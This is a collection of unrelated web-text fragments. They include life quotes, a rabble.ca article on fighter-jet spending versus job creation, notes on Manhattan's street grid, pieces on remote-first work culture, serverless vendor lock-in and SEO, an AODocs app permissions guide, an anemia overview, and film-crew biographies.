imagine what I'll think about myself at that point in time, and it always makes it really easy to go for it. You're only going to regret that you wimped out. - Author: Nick Woodman #45. It's easy now, now that it's a story. When you were going through it, it was life. Always much harder to get the plot line on. - Author: Carol Anshaw #46. There's a time in your life when you have to stop looking back and start looking forward because otherwise you're going to walk down the road one day and bump into a lamppost. But it's not easy. - Author: Anna Maxted #47. I'm easy going for the most part but sometimes in the morning if I didn't sleep well I can be kind of grumpy. But my grumpiness doesn't have that much to do with my dissatisfaction with my station in life. - Author: Morgan Freeman #48. Life is much like going to the gym. The most painful part is deciding to go. Once you get past that, it's easy. - Author: Robert T. Kiyosaki #49. You know, son, I don't think there's such a thing as an easy life. There's always going to be hard work and there will always be misfortunes we can't control, lurking out at the edges - storms, sickness, wolves. But there is such a thing as a good life and I think that we have one here. - Author: Jeanne DuPrau #50. Life is not all fun and easy going. Far from it; there are many rough times. But, sadly, we too often let the hard times dull our enthusiasm. And that is dangerous, if not fatal, to our lives. - Author: Norman Vincent Peale #51. happiness isn't about the events going on in your life; it's about how you handle them. It's about falling down and standing up straighter than you did before. It's about realizing that nothing comes easy. - Author: Jodie Sweetin #52. I mean, that's how it's going to be. It's that easy for Olivia. Maybe this is what life is like for most girls. - Author: Becky Albertalli #53. There was no way she was going to let it off easy by spending its life knocking up mares. If she couldn't hang around and have sex all day, neither could it. Fair was fair. - Author: K.F. Breene #54. She threatened him with dire consequences if he got all puffed up and studly about this. It was easy for him to take it in stride - exactly how many eight-pound babies had he pushed out? And if he joked about this even once, she was going to make him pay. Perhaps for life. Jack - Author: Robyn Carr #55. Why , instead of teaching her poetry and drama and needlework, had her governesses not taught the most important lesson anyone could learn - that life was really not going to be easy after one was free of the schoolroom? - Author: Mary Balogh #56. Instead of communicating "I love you, so let me make life easy for you," I decided that my message needed to be something more along these lines: "I love you. I believe in you. I know what you're capable of. So I'm going to make you work. - Author: Kay Wills Wyma #57. It's always going to be easy to live like others or other's life, because creating or innovating something of own is always difficult in comparison to buying or borrowing anything from others. - Author: Anuj #58. It's easy to count your problems. Going forward, every time you mention a problem, also mention a blessing in your life. Just doing that will add light to your troubles and hopefully make them less of a burden. - Author: David Mezzapelle #59. People who have it too easy in early life have a disadvantage for later on, because they get to thinking that everything is going to be easy. - Author: Mildred S. Dresselhaus #60. I think in some ways I'm quite lucky to be living in London, there's this certain separation from the movie business. In that way, it's been quite easy to separate acting and going back to a normal life. - Author: Freddie Highmore #61. It's not going to be easy. It's the earth. What creates power in your life is when you perfect your mind, your career, and your associations with others. - Author: Frederick Lenz #62. Going through life is hard think how to move on is not that easy and never will be. - Author: Chasidy Merlos
0.997307	Is spending $19 billion on fighter jets a good way to generate jobs in a pandemic-ravaged economy? - rabble.ca Close Donate Subscribe Search for: Search Politics Canadian Politics US Politics World Politics Karl Nerenberg Labour Environment Indigenous Activism Activist Toolkit Podcasts rabble radio RadioLabour Needs No Introduction rabbleTV More Columnists Books In cahoots LGBTIQ Human Rights Feminism Technology Health Economy Education Home About rabble.ca Advertise with rabble.ca Contact babble Facebook Twitter Instagram Linkedin Close Skip to content Home About rabble.ca Advertise with rabble.ca Contact babble Facebook Twitter Instagram Linkedin rabble.ca Donate Subscribe Menu Politics Canadian Politics US Politics World Politics Karl Nerenberg Labour Environment Indigenous Activism Activist Toolkit Podcasts rabble radio RadioLabour Needs No Introduction rabbleTV More Columnists Books In cahoots LGBTIQ Human Rights Feminism Technology Health Economy Education Open Search Search for: Search Home » Political Action » Is spending $19 billion on fighter jets a good way to generate jobs in a pandemic-ravaged economy? Blog Posted inPolitical Action CA Is spending $19 billion on fighter jets a good way to generate jobs in a pandemic-ravaged economy? by Brent Patterson June 29, 2020 October 5, 2021 Share this: Click to share on Twitter (Opens in new window) Click to share on Facebook (Opens in new window) Click to share on LinkedIn (Opens in new window) Click to email this to a friend (Opens in new window) More Click to print (Opens in new window) Click to share on Reddit (Opens in new window) Click to share on Tumblr (Opens in new window) Boeing makes the case that its Super Hornet fighter jet is good for jobs, but studies show peaceful production is a better way to address unemployment. CBC News has reported that Boeing executives made a public pitch on June 25 about its “history of delivering high-paying aerospace jobs” as it attempts to secure a $19-billion contract with the Canadian government for their F/A-18E/F Super Hornet fighter jet. The article by Murray Brewster highlights: “In its presentation, the company estimates the value of its direct economic activity in Canada — both commercial and defence — at $2.3 billion, resulting in 11,000 jobs across the country. The independent report estimates that when indirect spending is taken into account, the U.S. multinational contributes $5.3 billion and 20,700 jobs to Canada’s economy.” Brewster comments: “Boeing’s decision to make its case publicly is significant in part because federal finances are reeling under the weight of an anticipated $252-billion deficit and staggering levels of unemployment brought on by the COVID-19 pandemic.” That said, Boeing doesn’t appear to argue that the Super Hornet would create new jobs, it seems to imply instead that it would help maintain those 20,700 jobs. In contrast, Lockheed Martin, one of its competitors for the fighter jet contract, has previously highlighted: “According to the Statistics Canada model, approximately 50,000 jobs will be created in Canada through the selection of the F-35.” Still, how convincing are these jobs arguments? Is spending $19 billion on fighter jets, plus $300 million a year in maintenance costs, a cost-effective way to generate jobs? The Canadian Labour Congress has previously pointed out that a $17.6 billion investment in public transit could create 223,000 person job years. In the U.S. context, Phyllis Bennis has written: “$1 billion in military spending creates approximately 11,200 jobs — but the same amount of money would create 26,700 jobs if invested in education, about two-and-a-half times as many. Or 16,800 jobs in clean energy, or 17,200 in health care.” Similarly, research by the Costs of War Project based at Brown University’s Watson Institute for International and Public Affairs found that while $1 million spent on “defence” creates 6.9 direct and indirect jobs, the same amount invested in solar power creates 9.5 jobs, in health care 14.3 jobs, and in elementary and secondary education 19.2 jobs. These numbers would suggest that public spending on weapons is a poor allocation of finite public dollars when it comes to job creation. With three million jobs lost this past March and April, the argument that peaceful production is a better generator of jobs than war machines needs to be seriously considered. And yet the Canadian Press reported earlier this month: “[Defence Department deputy minister Jody Thomas] said she had not received any order or direction [from Defence Minister Harjit Sajjan] to slow or cut defence spending and that officials are continuing to work on the planned purchase of new warships, fighter jets and other equipment.” The federal government has set a deadline of July 31 to receive the final bid from Boeing, Lockheed Martin and Saab for the $19-billion fighter jet contract. The government’s decision is expected in 2022, meaning the public has less than two years to mobilize to ensure this money is spent on peaceful production and jobs, not war. Brent Patterson is the executive director of Peace Brigades International-Canada. Follow on Twitter at @CBrentPatterson @PBIcanada. Image: U.S. Air Force/Flickr Tagged: COVID-19, police DONATE & SUPPORT Thank you for reading this story… More people are reading rabble.ca than ever and unlike many news organizations, we have never put up a paywall – at rabble we’ve always believed in making our reporting and analysis free to all, while striving to make it sustainable as well. Media isn’t free to produce. rabble’s total budget is likely less than what big corporate media spend on photocopying (we kid you not!) and we do not have any major foundation, sponsor or angel investor. Our main supporters are people and organizations -- like you. This is why we need your help. You are what keep us sustainable. Support rabble.ca Brent Patterson Brent Patterson is a political activist and writer. He has worked in solidarity with revolutionary Nicaragua, advocated for the rights of prisoners in jails and federal prisons, taken part in civil... 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0.905099	In Manhattan, uptown means north (more precisely north-northeast, which is the direction the island and its street grid system is oriented) and downtown means south (south-southwest). This usage differs from that of most American cities, where downtown refers to the central business district. Manhattan has two central business districts, the Financial District at the southern tip of the island, and Midtown Manhattan. The term uptown also refers to the northern part of Manhattan above 72nd Street and downtown to the southern portion below 14th Street, with Midtown covering the area in between, though definitions can be rather fluid depending on the situation. Though the grid does start with 1st Street, just north of Houston Street (pronounced HOW-stin), the grid does not fully take hold until north of 14th Street, where nearly all east-west streets are numerically identified, which increase from south to north to 220th Street, the highest numbered street on the island. Streets in Midtown are usually one way with a few exceptions (14th, 34th and 42nd to name a few). The rule of thumb is odd numbered streets run west while evens run east.
0.998793	Remote-first work culture is a relatively new term that was set ablaze during the coronavirus pandemic. Where previously most companies preferred to hire in-person workers, many have now realized the benefits of working remotely. The practice of working online from a remote location is strikingly different from the experiences gained when working in person. As a result, many remote-first companies struggle with setting up a beneficial company culture that supports its employees. In this article, we will go ways to develop a healthy remote work company culture that benefits you and your teammates. Understanding Remote First Companies Remote-first companies may not currently be the norm, but that’s changing fast. These organizations aim to empower themselves and their employees by creating a positive company culture that supports off-site, distributed work. A company built upon the “remote-first” foundation seeks to maximize its number of off-site workers. Only a few – if any – employees will be based within the company’s own in-person office space. Many remote-first brands even choose to skip the option of maintaining their own in-person office, settling for a remote-only approach instead. Remote-first companies have a unique workplace culture like no other. Firstly, they champion diversity by hiring experts from around the country (or even the globe!) They also enable individuals who might not been otherwise able (or willing) to move from another city or country, and/or commute every day to work, to develop professionally without constraints. Thanks to these power points, remote-first can easily create a healthy company culture that features a diverse fleet of workers. However, despite these pros, maintaining a positive company culture while working with remote employees is not without its challenges. This brings us to our next point, which seeks to understand company culture, especially within a remote workplace setup. What is Company or Team Culture Company culture, also known as team culture, refers to the overall workplace attitude maintained by a brand and its employees. Team culture is primarily developed by the company’s CEO or team leaders. Upon seeing their leaders behave a certain way, employees follow suit and adopt a similar work ethic when on the job. Team culture is an extremely important concept that determines an organization chances of success. Companies that value healthy principles, like honesty, respect, and dedication, are highly likely to find success thanks to their positive team attitude and overall behavior at work. Teams ridden with dirty politics, dishonesty, and lack of dedication are less likely to meet their goals. The same goes for companies with a poor company culture that stems from a lack of effective leadership. Such organizations may fail to produce quality products due to their team’s negligence or overall employee unhappiness. Remember, a company’s success depends upon how committed its employees are. Organizations maintaining a positive workplace attitude have little trouble cultivating a team of motivated, productive employees. Staff members produce their best work when they are happy and feel empowered when working under their boss’ umbrella. By creating a healthy work culture, you can significantly boost your employees’ happiness levels and overall productivity. So, needless to say, every company first goal should be to create a healthy, supportive team culture for its employees. Like most things, this is easier said than done. However, achieving this goal becomes significantly trickier when working with remote employees that have negligible in-person contact, if any. Popular challenges when setting up a remote-first work culture Among the most common challenges found by companies when establishing a remote focused culture, we have the following: Encouraging teamwork amongst employees who have never met in person Developing a positive team culture becomes significantly easier when there is a comfortable communication flow between employees. However, due to the lack of in-person meetings, there is a high chance of a serious communication gap developing amongst team members. As a result, there is a higher chance of misunderstandings between workers and their employers. Not only that but there might even be many communication struggles between team members working from different remote locations. It’s also tricky to create an organic culture that’s influenced by observable actions rather than by words sent over email. This brings us to our next point… Establishing a similar work ethic between all staff members despite them working remotely We have already established that it’s difficult to propagate workplace values through online communication. However, this becomes significantly trickier when you’re trying to instill the same teamwork values within multiple remote workers at once. It might be easy to brief multiple people together in an in-person setting, but not when addressing remote workers. Hence, team leaders might fail to ensure every member of their team is on the same page regarding workplace ethics. Creating a sense of belonging and dedication to the brand amongst remote workers As noted previously, a business can only expect to be successful if its employees are dedicated to the cause. It’s also important to acknowledge that employees who share a sense of belonging with their workplace perform better at their jobs. Unfortunately, curating this “sense of belonging” isn’t so simple when you’re dealing with remote workers. Firstly, they have no physical setting to identify with. Secondly, they cannot pledge their devotion to teammates and leaders that they’ve never even met! These challenges make it difficult for remote-first organizations to develop a healthy company culture. However, despite being tricky, it is not entirely impossible to achieve a positive team culture despite working remotely. We’ll go over handy tricks to create a thriving remote-first work culture later in this article. What to Consider When Setting Up a Work Team Culture A couple of things to think about when laying the foundation for your remote-first company culture are: Employees availability and communication workflow You might want to host frequent video calls to help your team members get to know one another well. However, most remote workers don’t have fixed timings. If this is true for your employees, be sure to consider their availability before scheduling meetings or setting deadlines. While it’s beneficial to conduct regular video conferences with your employees, it’s important not to overdo it. Do not schedule more meetings than you really need. Doing so will reduce your team’s freedom of movement, which can potentially upset them in the long run. Remember, an unhappy employee is an unproductive employee! This is why it’s fundamental to establish communication and coordination principles that are clear, reasonable and easy for team members to follow based on their roles, projects and timezones, while embracing asynchronous communication to minimize disruptions. Setting meaningful productivity focused goals to assess teams performance One of the aspects that will make employees nervous when they start working remotely is not to know how their managers will assess their performance if they’re not able to see them “in the office” working. This is especially true when companies don’t have clear performance focused goals and key performance indicators to measure how well employees perform. Avoid burdening your employees with goals that are not meaningful, measurable, or not tied to productivity, that will only weigh them down. For example, don’t expect them to show up for 3 online meetings every day or to be all the time connected and available for chats or calls during the day, when it’s not really necessary and the activity is not directly tied to their performance. Instead, adopt an approach that will allow you to measure your team productivity and work outcome while improving your company culture without burdening your employees. We’ll go discuss how to do this in the next section… Steps to Establish a Remote-First Work Company Culture When setting up your remote-first company culture, be sure to take note of the following themes and practices: Pay attention to whom you’re hiring Remember, your team members make up the backbone of your company. As a result, they will have a direct influence on your company’s culture. Hiring people with records of poor discipline will make it difficult to cultivate a positive work culture. However, hiring individuals with excellent records of collaboration in similar organizations, can make things much easier for you. When interviewing candidates, be sure to quiz them on what teamwork and remote work team culture mean to them and about previous experience. This will help you gain insight into which individuals are worth hiring and those who are not. Schedule team building, ice-breaking virtual events and in-person meetups Many in-person workplaces dedicate special days towards team building office parties and ice-breaking events. Though it might be a little tricky to pull this off virtually, there are still many ways for you to replicate these events online, as we have described in this guide, from watercooler group chats, to virtual scavenger hunts, and even in-person company meetups for team members to attend for a few days once or twice per year. Try to schedule fun events every few months to help create a relaxed and enjoyable remote-first work atmosphere. Doing so will also help improve your employees’ sense of belonging. They may find it easier to identify with team members with whom they are interacting. As a result, they’ll be motivated to work harder at their jobs, especially when collaborating on projects with other employees. Remind employees how important their work is Appreciation goes a long way – this is a fundamental fact within human psychology. Exposing your employees to positive feedback will encourage them to work harder at their job. Knowing that their contribution is valued can help boost their self-esteem. So, be sure to regularly give your workers positive feedback (or advice). This will also help your employees develop emotional ties with the company. It’s also an excellent way to encourage a culture of hard work within the workplace. Set up accessible platforms for open communication It’s easy to communicate with one another when we’re physically present within the same environment. Unfortunately, this isn’t the case when it comes to remote-first companies. To overcome any possibility of miscommunication, be sure to set up a convenient communication platform for employees to use, and provide best practices and principles to use it with other team members as well as company leaders. They should be able to reach you – their leader – any time they need to. You should also brief them on this so that they know that open communication is allowed and encouraged. So, in order to create a positive remote-first company culture, start setting up various communication channels for your team. You can use popular group chats, like Slack or Discord for async, text first communication or Google Hangouts for real time, video one. Most importantly, you should provide certain criteria and principles so they know how they should be used and when. If you fail to do this, you risk creating a company culture that doesn’t give its workers a voice. Doing so can significantly reduce employee satisfaction, which, in turn, will reduce productivity. Encourage employee feedback This point goes hand-in-hand with the previous one. Allow your employees to provide feedback on their experience as a team member of your company. You can always ask them how they feel about the existing work culture within your company. Or, if you’d like to take a more formal approach, try handing out an employee satisfaction survey instead. Do not penalize your team members for being honest, though! Also, you should only share surveys if you already have an existing remote-first work culture in place. You can also consider sharing one now and then circulating another one later to see if their opinions have changed. Doing so will help you understand which areas you need to work on as a leader. Maintain a positive tone when speaking to employees: Your speaking style and tone play an important role in the process of company culture development. As a leader, it is your duty to create an environment that is safe, accepting, and productive. You can only achieve this when your own tone is positive and encouraging. Avoid briefing employees in a harsh tone – doing so will make them feel undervalued and unhappy. By speaking with dignity and respect, you will create an unspoken rule regarding workplace tone. As a result, your employees will likely use a similarly positive tone when speaking to other team members. Host regular video meetings: As noted previously, it’s important to conduct regular video calls with your employees. Allowing everyone to be virtually present (with cameras open) can help employees connect with one another. Of course, as their leader, it’s your job to ensure the conference flows smoothly. Use this as an opportunity to brief employees on your expectations regarding their behavior and work ethics. Remember to speak in a reverential tone to reinforce the idea of workplace respect. You should also try and space the video meetings apart so that they’re not too overwhelming. Final Thoughts The aforementioned tips can help you create a positive work culture for your remote-first company. Be sure to implement them as soon as you can, though. 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0.999697	Vendor lock-in is a topic which has been discussed at length since the early days of cloud computing and is particularly prevalent today in the context of serverless applications. “Lambda and serverless is one of the worst forms of proprietary lock-in that we’ve ever seen” — CEO of CoreOS (source: The Register) But is it a real issue that you need to be concerned about when picking a Functions-as-a-Service (FaaS) provider? Or is it just fear-mongering put out by competing vendors and “traditional” software architects averse to learning a new paradigm? In this article, we will walk through the FaaS offerings of the 3 major cloud providers (AWS Lambda, Google Cloud Functions and Microsoft Azure Functions) and examine what would be required to switch providers down the line. Why might you want to switch? Firstly, let’s look at some potential reasons why you may want to switch FaaS provider: You want to integrate your function with a new back-end service which is only offered by another provider Runtime issues or limitations of current provider being hit Function execution is becoming too costly and would be much cheaper elsewhere Provider drops support for your language runtime Organisational strategy or support reasons What would be involved in switching? In terms of gauging the effort to switch FaaS providers, we will look at: changes required to the function codebase. changes to execution configuration, deployment and triggers. Code changes Each cloud provider specifies a function signature which your code must adhere to in order to be executable in their cloud. Each provider’s signature is slightly different. The following Node.js code examples show how, for each provider, you can read the input from the triggering event and send a response back. Each example assumes it’s been triggered by a HTTP request. AWS Lambda (docs) exports.myHandler = async (event, context) => { const input = JSON.parse(event.body); return { statusCode: 200, body: { message: `Hello ${input.myName}` } }; }; Azure Functions (docs) module.exports = (context, req) => { const input = JSON.parse(req.body); context.res = { status: 200, body: { message: `Hello ${input.myName}` } }; context.done(); }; Google Cloud Functions (docs) exports.myHandler = (req, res) => { res.status(200).send({ message: `Hello ${req.body.myName}` }); }; As you can see from the above 3 examples, the differences between each provider are small so it should not be a big job to refactor them. Initiatives such as Cloud Events (aimed at standardising the schema for events which trigger functions), should help reduce these differences even more in the future. Another point to consider is the runtime of your chosen language that is supported by the cloud provider, in particular if you are using new language features. For example, at the time of writing AWS Lambda supports Node.js v8.10 which has the new async/await JavaScript syntax. However, Google Cloud functions only supports up to v6.14 which doesn’t support this feature. Changes to deployment, trigger and execution configuration Each provider gives different settings to allow you to configure how your functions will execute, in particular around how they’re triggered and what compute resources (memory, CPU) should be allocated to them. For deployment, each provider has their own CLI for packaging and publishing functions. So your deployment scripts would need to be updated if you choose to use this CLI. Regarding triggers, the main difference to be aware of at the time of writing is that to invoke AWS Lambda functions over HTTPS, you need to use the API Gateway service. This will involve setting up its own configuration and it’s also billed separately. Azure functions and Google Cloud Functions, on the other hand, support HTTP triggers natively with no extra charge. How can you mitigate the risks of needing to switch in the future? The following recommendations should help you design your FaaS solution in such a way as to minimise any future effort required to migrate your functions to a different FaaS provider: Check that your organisation’s preferred language runtime is supported by multiple providers. Don’t pass provider-specific parameters (e.g. context or res) through multiple helper functions. Instead parse the fields you need out of the parameter object in the main handler function and pass those through. Extract any calls to provider-specific services (e.g. AWS S3) into their own helper function/module so you can easily swap these out in the future. Maintain locally runnable unit tests for each handler function to act as a safety net for your code refactoring. Check the triggers supported required for your app (e.g. HTTP request, queue message, CRON schedule) have equivalents in the other cloud providers. Check that the limits imposed by your provider (e.g. around memory allocation and maximum request timeout) are within the requirements of your app and compare these to the other cloud providers. For example, at the time of writing, AWS Lambda supports up to 3GB memory allocation and max timeout of 5 minutes, whereas Azure supports a maximum of 1.5GB of memory but a max timeout of 10 minutes. Use the Serverless framework to package and deploy your app. It supports all the main cloud providers and means you can master your function and trigger configuration in a single file (serverless.yml) and use the same CLI command to deploy to each provider. This CLI can be invoked from a developer machine or from within a CI pipeline. Vendor lock-in beyond FaaS In this article, we’ve dealt with the FaaS component of a serverless architecture. In reality, I don’t believe vendor lock-in should be a major concern for the vast majority of organisations in terms of changes required to the code and configuration of your functions and your build and deployment process, in particular if the above recommendations are heeded. However, a bigger concern in terms of vendor lock-in a wider serverless architecture is the services which your functions integrate with. Your app will inevitably need to store data, either in relational or non-relational databases, file storage, caches or queues. The big 3 vendors provide a myriad of services in these areas, all with differing levels of lock-in. There are many trade-offs to consider in making these architectural decisions which I hope to dive into in more detail in a future article. Originally published July 20, 2018 . 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0.974305	What exactly is SEO and what advantages of SEO can be associated with. In simple term, this kind of optimization deals with optimizing a site for search engines. This method includes having good keyword selection, providing relevant and unique content, placing keywords strategically on right places, providing the right title and description to each page, and so on. These days, more companies are using the methods and procedures of search engine optimization. Hence, more companies and business enterprises are hiring the services of these companies who deal with SEO for business. Search engines such as Google have certain requirements, which are necessary in order to make their ranking function well. Google looks for user experience and page speed while ranking websites. It is necessary that the user experience is given topmost priority so that the user can get the expected satisfaction while browsing through the website. In addition, the page speed should also be taken into consideration. The importance of SEO is greater than ever because internet users have become much aware of the need to provide genuine and unique content to the web. They do not want to see any advertisement or link of any sort in the website. Therefore, this results in the search engines being careful about the rankings. They prefer that the content should be relevant to the topic and the page speed should not take up a lot of time. As a result of this, the importance of organic search results for businesses has become much higher. SEO for business is a great method which can improve your website rankings and give it an edge over your competitors. The process involves keyword research, web copy writing, and website optimizing. Keyword research deals with the selection of popular keywords that are used by people in searches. These keywords must be related to your business. Web copy writing consists of optimizing the content based on these popular keywords. It is one of the most important tasks performed by SEO experts. These steps can be carried out manually. However, it is better to get professional help because the process involves using many software like Google Analytic, Majestic SEO, AHREF, etc. which are difficult to use manually. As far as the website is concerned, it must be designed properly. As there are millions of websites, it is not possible to generate unique keyword ideas. Professional SEO companies provide keyword research, web designing and web hosting. Visit Food for more information. There are various reasons for the high-quality Google ranking. The main reason is the long tail keyword which are very specific in nature. Many times the webmasters use the low quality keywords to generate higher ranking results. However, this results in very low traffic as compared to the high-quality keywords.
0.999996	The AODocs mobile app needs a set of Google Workspace authorizations and some device permissions to work. This article explains why they are necessary and when they are requested. Google Workspace authorizations Sign in Google Drive scope Device permissions Camera Storage / Photos Google Workspace authorizations Sign in To use the AODocs mobile app, you first need to sign in with your Google Account. The app needs access to your Google Workspace data so it can provide features relating to this data. Note about minimum scopes: The app uses the principle of incremental authorization as much as possible, which means that it initially requests only the scopes required to start the app, then requests additional scopes as new authorizations are required, in a context that explains the reason for the request: – On Android, the app initially requires only basic sign-in scopes, which don't usually require authorization: email and profile. When you sign in, you are therefore not requested to grant any authorizations. – On iOS, due to technical issues (google_sign_in issue #86660), it isn’t yet possible to apply the incremental authorization principle. As a result, all necessary scopes, email, profile, and drive.file are requested at sign-in for now. Google Drive scope To use some features, like the ability to attach new files to AODocs documents in your Document Management libraries, the mobile app needs your permission to interact with your Google Drive (for example, to let the app upload a file you selected on your device to your Google Drive before importing it to AODocs). The app asks you to grant the minimum Google Drive authorization it needs: the drive.file scope. This lets the app view and manage the Google Drive files and folders that you have opened with the AODocs mobile app. On Android, this permission is requested when you press the Add attachment button on the document page. Two successive messages appear, explaining why this authorization is needed. Press Allow twice. On iOS, the Google Drive authorization is requested at sign-in. A message appears explaining that this authorization is needed so the app can upload files to your Google Drive when you use the Add attachment feature. Press I get it and then Continue. Note: This message appears only once on your device, even if you switch accounts and sign in to the app using a different account. Device permissions Mobile apps can use various capabilities or information on your device, such as your camera or your location. Like many apps, the AODocs app asks for permission to use some of your device capabilities, which you can allow or deny. Depending on the feature you want to use and on your device OS and version, you can: allow full access to a capability allow partial access deny access once deny access permanently You can also change app permissions at any time in your device settings. Below are the permissions the AODocs mobile app requests when you try to use certain features. Camera The AODocs mobile app needs permission to access your device's camera so you can take pictures, which you can then attach to existing documents in your Document Management libraries. 1. Press the Add attachment button on the document page, then press Take a picture in the bottom panel. 2. For Android, select While using the app or Only this time. For iOS, press OK. What happens if I deny the permission to access the camera? If you deny AODocs permission to access the camera, when you try to use the Take a picture feature again, you will either see: the above permission message again another message inviting you to go to the app settings to allow the mobile app to use your camera Note: The sequence of messages and access to your settings vary depending on your device OS and version, and on whether you permanently or temporarily denied the permission. Press Open settings. Your device settings open: for Android, select Permissions on the AODocs app info page – this is where where you can manage the app permissions for iOS, select Allow Learn more about how to change app permissions on your device: Android documentation iOS documentation the documentation of your specific device After granting this permission, you are also requested to grant permission to access storage on your device (if you haven't done so already). Storage / Photos The AODocs mobile app needs to access photos and media on your device so you can attach images stored on your device to your AODocs document. You are asked for this permission after you: grant the permission to access the camera on your device select Choose images on the document page in the mobile app For Android, select Allow. For iOS, we strongly recommend selecting Allow access to all photos. Important note for iOS users: – If you choose Select photos, only the photos you select will be available to attach to the current AODocs document and all other AODocs documents. – In addition, after choosing Select photos, if you press Cancel or if you press Select without selecting a photo, none of your photos will be accessible to the app, so you won't be able to add attachments to any of your AODocs documents. Learn more about how to allow grant access to all photos if you accidentally restricted access to your photos. What happens if I deny permission to access photos and media? If you deny the permission to access photos and media on your device, when you try to use the feature again, you will either see: the above permission message again another message inviting you to go to the app settings to allow the mobile app to use access your photos What if I accidentally restricted access to photos on iOS? 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0.974817	Anemia is a condition in which you don't have enough healthy red blood cells to carry adequate oxygen to the body's tissues. Having anemia may make you feel tired and weak. There are many forms of anemia, each with its own cause. Anemia can be temporary or long term, and it can range from mild to severe. See your doctor if you suspect you have anemia because it can be a warning sign of serious illness. Treatments for anemia range from taking supplements to undergoing medical procedures. You may be able to prevent some types of anemia by eating a healthy, varied diet. Symptoms Anemia signs and symptoms vary depending on the cause of your anemia. They may include: Fatigue Weakness Pale or yellowish skin Irregular heartbeats Shortness of breath Dizziness or lightheadedness Chest pain Cold hands and feet Headache At first anemia can be so mild that it goes unnoticed. But symptoms worsen as anemia worsens. Causes Anemia occurs when your blood doesn't have enough red blood cells. This can happen if: Your body doesn't make enough red blood cells Bleeding causes you to lose red blood cells more quickly than they can be replaced Your body destroys red blood cells What red blood cells do Your body makes three types of blood cells — white blood cells to fight infection, platelets to help your blood clot and red blood cells to carry oxygen throughout your body. Red blood cells contain hemoglobin — an iron-rich protein that gives blood its red color. Hemoglobin enables red blood cells to carry oxygen from your lungs to all parts of your body and to carry carbon dioxide from other parts of the body to your lungs so that it can be exhaled. Most blood cells, including red blood cells, are produced regularly in your bone marrow — a spongy material found within the cavities of many of your large bones. To produce hemoglobin and red blood cells, your body needs iron, vitamin B-12, folate and other nutrients from the foods you eat. Causes of anemia Different types of anemia and their causes include: Iron deficiency anemia. This is the most common type of anemia worldwide. Iron deficiency anemia is caused by a shortage of iron in your body. Your bone marrow needs iron to make hemoglobin. Without adequate iron, your body can't produce enough hemoglobin for red blood cells. Without iron supplementation, this type of anemia occurs in many pregnant women. It is also caused by blood loss, such as from heavy menstrual bleeding, an ulcer, cancer and regular use of some over-the-counter pain relievers, especially aspirin. Vitamin deficiency anemia. In addition to iron, your body needs folate and vitamin B-12 to produce enough healthy red blood cells. A diet lacking in these and other key nutrients can cause decreased red blood cell production. Additionally, some people may consume enough B-12, but their bodies aren't able to process the vitamin. This can lead to vitamin deficiency anemia, also known as pernicious anemia. Anemia of chronic disease. Certain diseases — such as cancer, HIV/AIDS, rheumatoid arthritis, kidney disease, Crohn's disease and other chronic inflammatory diseases — can interfere with the production of red blood cells. Aplastic anemia. This rare, life-threatening anemia occurs when your body doesn't produce enough red blood cells. Causes of aplastic anemia include infections, certain medicines, autoimmune diseases and exposure to toxic chemicals. Anemias associated with bone marrow disease. A variety of diseases, such as leukemia and myelofibrosis, can cause anemia by affecting blood production in your bone marrow. The effects of these types of cancer and cancer-like disorders vary from mild to life-threatening. Hemolytic anemias. This group of anemias develops when red blood cells are destroyed faster than bone marrow can replace them. Certain blood diseases increase red blood cell destruction. You can inherit a hemolytic anemia, or you can develop it later in life. Sickle cell anemia. This inherited and sometimes serious condition is an inherited hemolytic anemia. It's caused by a defective form of hemoglobin that forces red blood cells to assume an abnormal crescent (sickle) shape. These irregular blood cells die prematurely, resulting in a chronic shortage of red blood cells.
0.997377	Nick Francis and Marc Francis are award-winning filmmakers whose films have been released throughout the world. Chosen by Harper’s Bazaar magazine as one of their "Forty under 40; the household names of the future", and named by the Observer newspaper as one of Britain’s "Rising Stars" – their work deconstructs contemporary global issues into relevant and engaging stories for international audiences. Their first feature film 'Black Gold', a story about one man’s struggle to save his coffee farmers from bankruptcy premiered at the Sundance Film Festival, and was released to critical acclaim worldwide changing the way millions of people and companies think about coffee. Their most recent film, 'When China Met Africa,' is a multi-broadcast project involving BBC Storyville, Arte France, and the Sundance Institute, CNC and the EU Media Fund. The film has also played at international film festivals including Rotterdam, Munich, Goteburg and at the Margaret Mead Festival in New York, where it won best film. The Francis brothers are the co-founders of the London based film company, Speakit Films and are currently in development on a number of non-fiction films and cross-platform projects. Miriana Bojic Walter Executive Producer Miriana Bojic Walter is the founder and head of the Paris based production company, Zeta Productions which specialises in feature length documentaries for television and cinema, and produces ambitious projects with European talented directors and international broadcasters including; Arte France, BBC Storyville, YLE ,NRK, SVT, TSR ,VPRO , SBS and Sundance. Hugh Williams Editor Hugh Williams is a London based editor with over 20 years experience in film and television. In recent years he has completed a number of award winning feature length films for both cinema and television, the most widely known is 'Black Gold', which premiered at Sundance before an international theatrical and television release. Hugh's documentary work also includes films for the BBC Storyville strand, 'The Undertaking' and 'White King, Red Rubber, Black Death', as well as 'When China Met Africa'. Other films include, 'The Trial' and 'Lost Expedition' (Irish Film Board), 'After the Apocalypse' (True Stories), 'The Last Thakur' (Artificial Eye & C4). Hugh is currently editing 'iLL Manors', Ben Drew, aka Plan B's debut feature, planned for cinema release in 2012. Florencia Di Concilio Composer Composer and pianist Florencia Di Concilio has scored more than 20 feature and documentary films, as well a widely composing for ensembles and orchestras throughout the world. She has worked with acclaimed directors such as Gonzalo Arijon, Angus Macqueen, Marc and Nick Francis, and Peter Wintonick. Florencia's music has been commercially released by Milan/Universal and praised by Variety, New York and the L.A. Times. Kook Ewo Graphics Kook Ewo, began his career in photography and then went on to direct his first short film '7' in 2000. Based in Paris and working for TF1, Metropolitan films and Yeast Films he developed his work to specialize in opening movie credits. In 2005, he worked with Christophe Gans on the movie 'Silent Hill' creating the opening credits and the first official teaser and directed 'Black Night is falling' as well as several commercials. More recently, he created the opening credits for SPLICE (Vincenzo Natali), Solomon Kane (M.J. Bassett), Gardiens de l'ordre (N. Boukhrief), La Horde (Y. Dahan, B. Rocher), 30 Beat (A. Lloyd), Red Nights (J. Carbon, L. Courtiaud), The Divide (X. Gens). Kook Ewo now belongs to the new generation of opening credit directors and is working on his first feature film. Solange Chatelard Production Assistant – Zambia Solange Guo Chatelard is Chinese and French and grew up in the UK. Having been educated at the French Lycée in London and at the London School of Economics, she is now a PhD candidate at the Sciences Po in Paris and an associate researcher at the Max Planck Institute for Social Anthropology in Germany where she is focusing on the Chinese in Zambia. Since working on 'When China Met Africa', Solange has continued to develop her research on the Chinese in Zambia and has spent more than twelve months conducting fieldwork in Africa and China from 2008- 2011. Aside from her research she is currently working on a variety of 